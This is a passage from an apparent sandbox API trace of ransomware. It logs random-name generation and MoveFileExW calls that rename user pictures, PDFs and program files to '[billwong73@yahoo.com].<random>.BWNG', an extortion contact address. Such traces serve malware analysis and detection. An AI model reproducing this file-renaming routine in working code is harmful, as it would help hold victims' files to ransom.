CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0041.205] GetTickCount () returned 0x1155467 [0041.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18315705914) returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0041.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0041.205] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].htjySM8B-UrjVWksG.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].htjysm8b-urjvwksg.bwng"), dwFlags=0x1) returned 1 [0041.206] GetTickCount () returned 0x1155467 [0041.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18315800500) returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.206] GetTickCount () returned 0x1155467 [0041.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18315832221) returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0041.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.206] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].d1ycW9D6-6AyII7jW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].d1ycw9d6-6ayii7jw.bwng"), dwFlags=0x1) returned 1 [0041.207] GetTickCount () returned 0x1155467 [0041.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18315916270) returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0041.207] GetTickCount () returned 0x1155467 [0041.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18315946767) returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.208] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\E_CAaPPjr.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\e_caappjr.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].8WmHA8lc-n6abdg1W.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].8wmha8lc-n6abdg1w.bwng"), dwFlags=0x1) returned 1 [0041.208] GetTickCount () returned 0x1155467 [0041.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18316034676) returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.208] GetTickCount () returned 0x1155467 [0041.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18316073614) returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0041.209] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\[billwong73@yahoo.com].45doWE76-6FBI7Oaz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\[billwong73@yahoo.com].45dowe76-6fbi7oaz.bwng"), dwFlags=0x1) returned 1 [0041.226] GetTickCount () returned 0x1155477 [0041.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18317849221) returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0041.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0041.227] GetTickCount () returned 0x1155477 [0041.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18317880509) returned 1 [0041.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0042.094] GetTickCount () returned 0x11557e1 [0042.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18404677457) returned 1 [0042.095] GetTickCount () returned 0x11557e1 [0042.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18404763204) returned 1 [0042.615] GetTickCount () returned 0x11559e3 [0042.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18456763162) returned 1 [0042.617] GetTickCount () returned 0x11559e3 [0042.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18456894649) returned 1 [0042.617] GetTickCount () returned 0x11559e3 [0042.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18456947864) returned 1 [0042.618] GetTickCount () returned 0x11559e3 [0042.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18456997248) returned 1 [0042.619] GetTickCount () returned 0x11559e3 [0042.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18457089668) returned 1 [0043.011] GetTickCount () returned 0x1155b79 [0043.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18496299534) returned 1 [0043.011] GetTickCount () returned 0x1155b79 [0043.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18496340280) returned 1 [0043.011] GetTickCount () returned 0x1155b79 [0043.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18496373437) returned 1 [0043.670] GetTickCount () returned 0x1155d2e [0043.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18562192450) returned 1 [0055.375] GetTickCount () returned 0x1158373 [0055.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19732693386) returned 1 [0055.385] GetTickCount () returned 0x1158382 [0055.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19733738738) returned 1 [0055.391] GetTickCount () returned 0x1158392 [0055.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19735448946) returned 1 [0057.119] GetTickCount () returned 0x1158537 [0057.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19907155707) returned 1 [0057.133] GetTickCount () returned 0x1158547 [0057.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19908513852) returned 1 [0057.137] GetTickCount () returned 0x1158547 [0057.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19908943620) returned 1 [0057.138] GetTickCount () returned 0x1158547 [0057.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=19908993486) returned 1 [0088.069] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eef0000 [0088.082] GetTickCount () returned 0x115de3f [0088.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23003391811) returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.082] GetTickCount () returned 0x115de3f [0088.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23003425294) returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0088.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0088.082] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\EScript.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\escript.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].MOBl8FPN-htn1NF4Y.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].mobl8fpn-htn1nf4y.bwng"), dwFlags=0x1) returned 1 [0088.084] GetTickCount () returned 0x115de3f [0088.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23003649591) returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0088.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0088.084] MultiByteToWideChar (in: 